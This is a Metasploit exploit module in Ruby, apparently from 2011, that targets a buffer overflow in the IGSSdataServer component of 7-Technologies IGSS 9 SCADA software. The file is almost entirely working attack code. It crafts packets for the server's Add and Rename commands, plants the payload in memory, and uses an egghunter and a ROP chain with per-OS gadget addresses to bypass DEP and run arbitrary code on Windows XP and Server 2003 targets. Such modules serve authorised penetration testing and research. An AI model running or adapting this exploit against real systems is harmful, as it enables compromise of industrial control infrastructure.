##
# $Id: igss9_igssdataserver_rename.rb 12886 2011-06-09 06:04:04Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info={})
  super(update_info(info,
   'Name'           => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
    a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
    a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
    which results arbitrary code execution under the context of the user.

    The attack is carried out in three stages.  The first stage sends the final payload to
    IGSSdataServer.exe, which will remain in memory.  The second stage sends the Add command
    so the process can find a valid ID for the Rename command.  The last stage then triggers
    the vulnerability with the Rename command, and uses an egghunter to search for the
    shellcode that we sent in stage 1.  The use of egghunter appears to be necessary due to
    the small buffer size, which cannot even contain our ROP chain and the final payload.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 12886 $",
   'Author'         =>
    [
     'Luigi Auriemma <aluigi[at]autistici.org>',  #Initial discovery, poc
     'sinn3r',                                    #Metasploit
    ],
   'References'     =>
    [
     ['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
    ],
   'Payload'        =>
    {
     'BadChars'        => "\x00",
     'StackAdjustment' => -3500,
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "seh",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP3',
      {
       'Ret'          => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll
       'RopOffset'    => 68,         #Offset to the ROP chain
       'Offset'       => 500,        #Offset to SE Handler (stack pivot)
       'Max'          => 8000,       #Max buffer size
      }
     ],
     [
      'Windows Server 2003 SP2/R2 SP2',
      {
       'Ret'       => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll
       'RopOffset' => 76,         #Offset to the ROP chain
       'Offset'    => 500,        #Offset to SE Handler (stack pivot)
       'Max'       => 8000,       #Max buffer size
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Mar 24 2011"))
   
   register_options(
    [
     Opt::RPORT(12401, false),
    ]
   )
 end

 #We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
 #triggering the vulnerable code path we're trying to hit.  Without this, we'll just hit
 #"FAILED renameDicRec.  ID not found %s" (logText function).
 def add_template(id)
  buf  = ''
  buf << "\x9b\x00"  #Packet size
  buf << "\x01\x00\x34\x12"
  buf << "\x07"      #Opcode
  buf << "\x00\x00\x00\x00\x00\x00\x00"
  buf << "\x01"      #Flag
  buf << "\x00\x00\x00"
  buf << "\x04"      #Command (add)
  buf << "\x00\x00\x00"
  buf << id
  buf << "\x00"
  buf << "\x00"*31
  buf << "\x78"
  buf << "\x00"*63
  buf << "\x78"
  buf << "\x00"*28

  connect

  sock.put(buf)

  print_status("Sending ADD command to #{datastore['RHOST']}")
  res = sock.recv(1024)

  disconnect

  return res
 end

 #Since we don't have a lot of space on the stack when we trigger the overflow, we send a
 #separate packet that contains our final payload, and let egghunter look for it later in memory
 def inject_payload(my_payload)

  buf  = ''
  buf << "\x01\x00\x34\x12"
  buf << "\x0D"  #Opcode
  buf << "\x00\x00\x00\x00\x00\x00\x00"
  buf << "\x01"  #Flag
  buf << "\x00\x00\x00"
  buf << "\x01"  #Command (ListAll)
  buf << "\x00\x00\x00"
  buf << my_payload
  buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
  buf << "\x00"*130

  #Packet size
  buf_size = [buf.length + 2].pack('v')
  buf = buf_size + buf

  connect

  sock.put(buf)
  print_status("Injecting payload in memory to #{datastore['RHOST']}")

  disconnect
 end

 #It's definitely junk
 def junk
  return rand_text(4).unpack("L")[0].to_i
 end

 def sploit_rename(id)
  #Egghunter is used because we don't really have a lot of space on the stack
  #to fit the ROP chain and a larger payload
  eggoptions =
  {
   :checksum  => true,
   :eggtag    => 'W00T',
   :depmethod => 'virtualprotect',
   :depreg    => 'esi'
  }

  hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  #depreg  (Put VirtualProtect in ESI)
  esi  = "\x81\xf6\x16\x1b\x5f\x5e"  #XOR ESI, 0x5E5F1B16
  esi << "\x3e\x8b\x36"              #MOV ESI, DWORD PTR DS:[ESI]

  #Put depreg alignment
  hunter = esi + hunter

  #Send final payload first, and let egghunter look for it
  inject_payload(p)

  #Max ROP chain size we can use is 406 bytes
  rop  = [
   :xchg_esp_ebp,
   #0x59ABA24B,  #PUSH ESP # POP EBP # RETN  [dbghelp.dll]
   junk,
   junk,
   junk,
   junk,
   0x1B76A59E,  #XCHG EAX,EBP # RETN  [dao360.dll]
   0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
   :add_eax_100,
   #0x1B09FA13,  #ADD EAX,100 # RETN 0C  [MSJET40.DLL]

   #VirtualProtect Argument ([0x540214])
   :xchg_eax_ecx,
   junk,
   junk,
   junk,
   :pop_eax,
   0x3BABFD6D,  #0x3BABFD6D xor 0x3BFFFF79
   0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
   0x1b73f3bd,  #MOV EAX,DWORD PTR DS:[EAX] # RETN  [dao360.dll]
   :xchg_eax_ecx,
   0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
   0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

   #Retn:
   :xchg_eax_esi,
   #0x1B0505C1,  #PUSH EAX # POP ESI # RETN 4  [MSJET40.DLL]
   0x1B8260DD,  #ADD EAX,20 # RETN  [Module : msjtes40.dll]
   junk,
   0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
   0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
   0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
   :xchg_eax_ecx,
   :mov_eax_esi_pop_esi,
   #0x1B03AD44,  #MOV EAX,ESI # POP ESI # RETN  [MSJET40.DLL]
   0x5E0B1902,  #:depreg initial value to xor
   0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
   0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

   #Shellcode:
   0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
   0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

   #Size (100 bytes -- enough for egghunter)
   :xchg_eax_ecx,
   :pop_eax,
   :size_xor,
   0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
   :xchg_eax_ecx,
   0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
   0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

   #newProtect (0x40):
   :xchg_eax_ecx,
   :pop_eax,
   0x3BFFFF39,  #0x3BFFFF39 xor 0x3BFFFF79
   0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
   :xchg_eax_ecx,
   0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
   0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

   #oldProtect
   0x1B731395,  #POP ECX # RETN  [dao360.dll]
   0x1B82B410,  #.data section (WR) in msjtes40.dll
   0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]

   #Align the rewind part
   0x1B829E86,  # ADD EAX,0C # RETN  [msjtes40.dll]

   #Rewind
   :rewind,

   #Execute
   0x1B72A833,  #XCHG EAX,ESP # RETN  [dao360.dll]
  ]

  #OS specific gadgets
  rop.map! do |gadget|
   if gadget == :xchg_esp_ebp
    (target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
   elsif gadget == :add_eax_100
    (target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
   elsif gadget == :xchg_eax_esi
    (target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
   elsif gadget == :xchg_eax_ecx
    (target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
   elsif gadget == :mov_eax_esi_pop_esi
    (target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
   elsif gadget == :pop_eax
    (target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
   elsif gadget == :size_xor
    (target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
   elsif gadget == :rewind
    (target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
   else
    gadget
   end
  end

  rop = rop.pack('V*')

  sploit  = ''
  sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
  sploit << rop
  sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
  sploit << [target.ret].pack('V')  #Pivot
  sploit << make_nops(12)  #Padding
  sploit << hunter
  sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)

  #Create the packet with our naughty payload
  pkt  = "\x00\x04"  #Funky size causes overflow
  pkt << "\x01\x00\x34\x12"
  pkt << "\x07"      #Opcode
  pkt << "\x00\x00\x00\x00\x00\x00\x00"
  pkt << "\x02"      #Flag
  pkt << "\x00\x00\x00"
  pkt << "\x02"      #Command
  pkt << "\x00\x00\x00"
  pkt << id
  pkt << "\x00"
  pkt << sploit

  connect

  print_status("Sending malicious request to #{datastore['RHOST']}")
  sock.put(pkt)

  handler

  #egghunter takes a few seconds, wait a bit before disconnect
  select(nil, nil, nil, 3)
  disconnect
 end

 def exploit
  id = Rex::Text.rand_text_alpha(8)

  res = add_template(id)
  if res !~ /Report/i
   print_error("Failed to add template:#{res}")
   return
  end

  sploit_rename(id)
 end
end